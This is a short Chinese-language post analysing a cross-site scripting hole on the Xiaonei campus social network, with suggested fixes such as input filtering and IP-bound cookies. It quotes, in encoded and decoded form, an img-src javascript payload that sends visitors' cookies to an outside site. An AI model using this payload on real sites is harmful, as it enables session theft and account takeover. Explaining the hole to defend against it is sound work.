校内的跨站漏洞分析 以及 可能的解决方法
现在校内网出现了一个跨站漏洞,当用户在访问一些日志的时候,日志或者分享或者其他的资料就被修改了。
而 事实上,只要他们原因,可以做任何事情,因为他们获取到了你的cookie。
问题原因:
从一篇有问题的日志发现如下的代码:
<img src='javascript:a
lert('hacked 
by Sroan');wi
ndow.locatio
n.href='http
://www.33iq.c
n/xiaonei.ph
p?cookie='+do
cument.cookie'>
这个应该是经过处理了,中间已经没有了分号,如果给src添加上分号,然后使用html_entity_decode解码之后就是:
javascript:alert('hacked by Sroan');window.location.href=' http://www.33iq.cn/xiaonei.php?cookie='+document.cookie
很明白了, 实际上就是sroan利用在img的src中执行javascript中的特性,执行了一段javascript代码,而这段代码会将你的cookie提交到33iq.cn这个网站,然后他们就可以使用你的cookie去做一些事情了,获取你的个人资料,修改你的日志,修改你的个人资料 等等。
很可怕,哈哈。
解决方法:
1. 最重要的当然是过滤个人提交的日志的内容了, 牢记一切输入都是有害的。
2. 可以在cookie中添加IP的信息,在校验cookie的时候,如果IP不正确,则需要用户重新登录。
第一种方法都在使用,但是具体到什么程度,是不是有bug就很难说了,而校内的问题就在这儿了。
第二种方法使用的应该比较少。
当然,理论上,如果直接src等于上面那些东西也不会有问题的,问题是你在处理的时候将那些代码不明地decode了,并显示了出来,问题就来了。